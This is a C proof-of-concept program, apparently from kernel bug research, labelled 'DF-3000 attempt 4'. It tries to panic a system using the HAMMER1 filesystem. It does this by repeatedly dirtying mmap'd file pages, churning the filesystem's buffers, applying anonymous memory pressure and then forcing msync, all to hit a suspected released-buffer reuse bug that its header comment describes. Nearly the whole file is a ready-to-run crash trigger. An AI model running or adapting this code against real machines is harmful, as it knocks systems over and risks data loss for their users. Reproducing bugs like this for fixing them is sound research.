DF-3000 / op3000d.c
/* * DF-3000 PoC (attempt 4): rounds of [re-dirty sparse set of pages] -> * [churn hammer1 file buffers by reading a big hammer1 file] -> * [anon pressure to reclaim clean sibling pages] -> [msync putpages]. * * Target state for the bug: a 16K block whose covering buffer has been * recycled and whose non-dirty sibling pages (incl. beyond-EOF tail pages * of the last partial block) have been reclaimed, while >=1 dirty page * remains. putpages -> hammer_vop_write(UIO_NOCOPY) -> getblk() -> * !B_CACHE -> bqrelse(bp); bread(&bp) [released-buffer reuse] -> * bwrite/bawrite on unlocked buffer -> panic. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #include <sys/sysctl.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000d.bin"; const char *churn = (argc > 2) ? argv[2] : "/mnt/h1/churn1.bin"; size_t fsize = (1 << 20) + 8192; /* last 16K block partial */ int i, round; char *w; setvbuf(stdout, NULL, _IONBF, 0); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; } w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (w == MAP_FAILED) { perror("mmap"); return 1; } /* initial fill: all blocks valid, buffers clean */ memset(w, 0, fsize); msync(w, fsize, MS_SYNC); unsigned long physmem; size_t len = sizeof(physmem); sysctlbyname("hw.physmem", &physmem, &len, NULL, 0); size_t psz = (physmem / 8) & ~4095UL; /* 12.5% per round */ char *big = mmap(NULL, psz, PROT_READ|PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0); int cfd = open(churn, O_RDONLY); static char cbuf[65536]; for (round = 0; round < 8; round++) { /* re-dirty: last valid page of the file + every 4th page */ w[fsize - 1] = (char)round; for (size_t off = 0; off < fsize; off += 4 * 4096) w[off] = (char)(round + off); /* churn hammer1 buffers: re-read the churn file twice */ if (cfd >= 0) { for (i = 0; i < 2; i++) { ssize_t n; long tot = 0; lseek(cfd, 0, SEEK_SET); while ((n = read(cfd, cbuf, sizeof(cbuf))) > 0) tot += n; if (round == 0 && i == 0) printf("churn pass: %ld bytes\n", tot); } } /* anon pressure: touch fresh anon pages each round */ if (big != MAP_FAILED) { char *p = big + ((long)round * (psz / 8) & ~4095UL); char *end = big + psz; if (p >= end) p = big; for (; p < end; p += 4096) *p = (char)round; } printf("round %d: msync(MS_SYNC) putpages...\n", round); if (msync(w, fsize, MS_SYNC)) printf("msync: %s\n", strerror(errno)); } printf("done, no panic\n"); munmap(w, fsize); if (big != MAP_FAILED) munmap(big, psz); close(fd); unlink(path); return 0; } |